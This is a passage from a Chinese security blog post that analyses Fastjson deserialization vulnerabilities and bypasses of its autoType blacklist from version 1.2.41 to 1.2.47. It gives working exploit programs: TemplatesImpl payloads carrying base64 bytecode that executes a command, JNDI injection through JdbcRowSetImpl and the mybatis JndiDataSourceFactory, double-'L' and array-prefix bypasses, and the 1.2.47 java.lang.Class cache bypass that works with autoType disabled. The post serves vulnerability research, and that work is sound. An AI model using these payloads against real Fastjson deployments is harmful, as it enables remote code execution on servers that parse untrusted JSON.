        String json = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\"_name\":\"fupanc\",\"_bytecodes\":[\"yv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAY=\"],\"_class\":null,\"_tfactory\":{},\"_outputProperties\":{}}";
        JSONObject obj = JSON.parseObject(json, Feature.SupportNonPublicField);
    }
}

然后调试一下过程即可,这里就不多说了。

局限性还是挺大的,还需要“手动”将autoTypeSupport设置为true。

1.2.42

xml依赖的版本改成1.2.42即可。这个版本下,数组的payload还是可以打

用前面的JdbcRowSetImpl链来看一下主要的不同点,还是跟进这里的checkAutoType()方法:

image-20250413145318201

这里都是使用哈希来计算的,这里大概意思就是看类名前后是否以L开头,以;结尾,是的话就使用substring()方法来进行截取,然后再进行后续的调用,然后这里的判断是用的hashCode:

image-20250413145737171

没有使用之前的字母的名单,同时这里是肯定会被ban掉的,经过处理后肯定会被匹配到黑名单从而扔出异常,绕过方法就是再加一层,因为这里只匹配一次,也就是只截取一次,而且TypeUtils.loadClass()方法并没有什么变化,双写绕过即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:2333/fupanc\",\"autoCommit\":\"true\"}";
        JSONObject obj = JSON.parseObject(json);
    }
}

数组格式没有影响,直接打就行了,只有L格式的使用双写绕过即可

简单说说这里的L过程,前面进行黑名单的判断,也是和前面分析的差不多的,就是与变量autoTypeSupport为true或者false,都会进行一次,但是都不在白名单中,所以无法直接加载,最后还是在如下进行加载的: image-20250413151317839

可以看到这里是传入的形参传递的内容,然后判断是有clazz是否为null,这里看似可以不用再调用ParserConfig.getGlobalInstance().setAutoTypeSupport(true)来进行设置值,前面我们也知道,这里的autoTypeSupport默认为false,后看有一个逻辑我们必须让这个变量为true:

image-20250413152447169

只有位true才能正常获取到想要的类,不然就会报异常从而退出。

然后对于TypeUtils.loadClass()方法内的内容: image-20250413152059466

可以看出来是会调用三次这个loadClass()方法最后才会成功加载到类:

image-20250413152003020

后面就是熟知的过程了,这不多说。

1.2.43

依赖改版本,然后直接定位到修改的部分,还是跟进checkAutoType()方法: image-20250413154530007

里面又套了一个if条件,意思就是如果是以LL开头,那么就直接抛出异常。

这里的绕过方法就是前面的数组,没错,到这个版本的数组格式还是能打,最后的payload如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:2333/fupanc\",\"autoCommit\":\"true\"}";
        JSONObject obj = JSON.parseObject(json);
    }
}

TemplatesImpl就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\"_name\":\"fupanc\",\"_bytecodes\":[\"yv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAY=\"],\"_class\":null,\"_tfactory\":{},\"_outputProperties\":{}}";
        JSONObject obj = JSON.parseObject(json, Feature.SupportNonPublicField);
    }
}

——————

1.2.44

同样是在checkAutoType()方法中,如下逻辑:

image-20250413183713858

前一个if是判断是否以[开头,第二个应该是判断最后是否以;结尾吧,从这里可以看出就是修复了[的payload,过滤了数组形式的payload。

1.2.45

这个版本还存在一个黑名单绕过,但是其实是一个组件漏洞,这里利用到的是mybatis组建,需要添加依赖:

1
2
3
4
5
<dependency>  
    <groupId>org.mybatis</groupId>  
    <artifactId>mybatis</artifactId>  
    <version>3.5.7</version>
</dependency>

注意修改fastjson的版本。

其实这个漏洞基本看一下payload就懂了,利用了组件,所以算是利用另外的类,在1.2.25 <= fastjson <= 1.2.45版本只要有这个组件都能打

POC如下:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/hello"}}

对应类的setter方法有jndi漏洞:

image-20250413184801164

所以构造了直接打就行了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:2333/fupanc\"}}";
        JSONObject obj = JSON.parseObject(json);
    }
}

运行弹出计算机,注意还是需要设置autoTypeSupport为true。

1.2.47

这个算是比较重要的漏洞点了,可以不开始autoTypeSupport触发反序列化漏洞。

影响版本:1.2.25 <= fastjson <= 1.2.47

这里还是从1.2.47版本来分析。

还是跟进checkAutoType()方法,其实在这个类不止最后那个需要autoTypeSupport为true才能返回加载到的clazz,如下代码:

image-20250413191749197

这里的expectClass变量默认为null,那么只要我们能在TypeUtils.getClassFromMapping()或者deserializers.findClass()找到想要利用的类,那么就可以直接在这里返回加载到的类。

跟进这里的TypeUtils.getClassFromMapping()方法:

image-20250413204423826

可以看到是从mapping中取值,那么这个mappings是怎么进行处理的呢,重新跟了一遍流程,没看到有赋值的地方,那么肯定就是TypeUtils类的static语句在进行处理,翻看了一下这个类的static语句,可以看到如下内容: image-20250413211138729

跟进这个addBaseClassMappings()方法,里面加载了很多类(下图只是部分): image-20250413211258883

似乎不可控,那么我们再去看deserializers.findClass()获取类的方法:

image-20250413213142632

可以看到这里想要返回clazz的话有一定条件,并且这里是与IdentityHashMap类的buckets变量有关,然后看这里的条件,需要key为Class属性。那么我们看一下这里deserializers变量的赋值逻辑,这里肯定就是与ParserConfig类有关了,这个也是之前说的形参传递的类变量,具体如下:

image-20250413214851563

调用的方法: image-20250413214914738

这次就需要跟进ParserConfig类的构造函数了,他的构造函数调用了initDeserializers()方法,这个方法内部可以看到如下内容:

image-20250413215143233

里面调用了很多方法,注意图中,是放入了一个Class.class的键,看这个对应的类,之类就是获取到这个类:

image-20250413221119366

而这个类的deserialze()方法存在一个存在一个利用点:

image-20250413221259065

这里会调用loadClass()方法,就是我们之前熟知的方法,在这里存在一个利用点: image-20250413225515367

这里的cache默认是true,所以这里会将对应的className放进mappings,并且这里的参数是可控的,从参数传递来看,这里的className就是前面的strVal变量:

image-20250413221458695

而setVal变量是由objVal变量转换来的,objVal又是从json字符串解析来的:

image-20250413221607262

是不是看到这里还有点懵,别急,为什么这里要提到deserialze()方法呢,当我们正常反序列化时,同时其实从前面的调试过程可以知道,是会获取deserializer并调用它的deserialze()方法:

image-20250413221927894

所以对应的,我们可以先尝试传入Class.class,从而获取到MiscCodec类实例,从而调用到它的deserialze()方法,从而往mappings中放入想要利用的类,从而在直接在后续中获得想要的类,如下:

image-20250413222531904

所以综上上面的思路,需要调用两次,一次放进指定类,一次加载触发反序列化,可以尝试如下构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {
        String json = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"2\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:2333/fupanc\",\"autoCommit\":\"true\"}}\n";
        JSONObject obj = JSON.parseObject(json);
    }
}

运行后弹出计算机,注意是打的jndi打法。

这里的细节就是没有设置autoTypeSupport,默认为false,那么第一个判断黑名单的就不会进入:

image-20250413224421887

而第二个判断黑名单的地方不会到达:

image-20250413224459135

直接在中间就找到直接结束了,所以也是payload中第二个可以那样设置的原因。

TemplatesImpl的打法如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {
        String json = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},\"2\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_name\":\"fupanc\",\"_bytecodes\":[\"yv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAY=\"],\"_class\":null,\"_tfactory\":{},\"_outputProperties\":{}}}\n";
        JSONObject obj = JSON.parseObject(json, Feature.SupportNonPublicField);
    }
}

运行后均弹出计算机。

确实可以。

参考文章:

https://xz.aliyun.com/news/14309

https://nivi4.notion.site/fastjson-873722f1374b4c4e99cc3283a38dfb37

https://tttang.com/archive/1579/#toc_1244

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计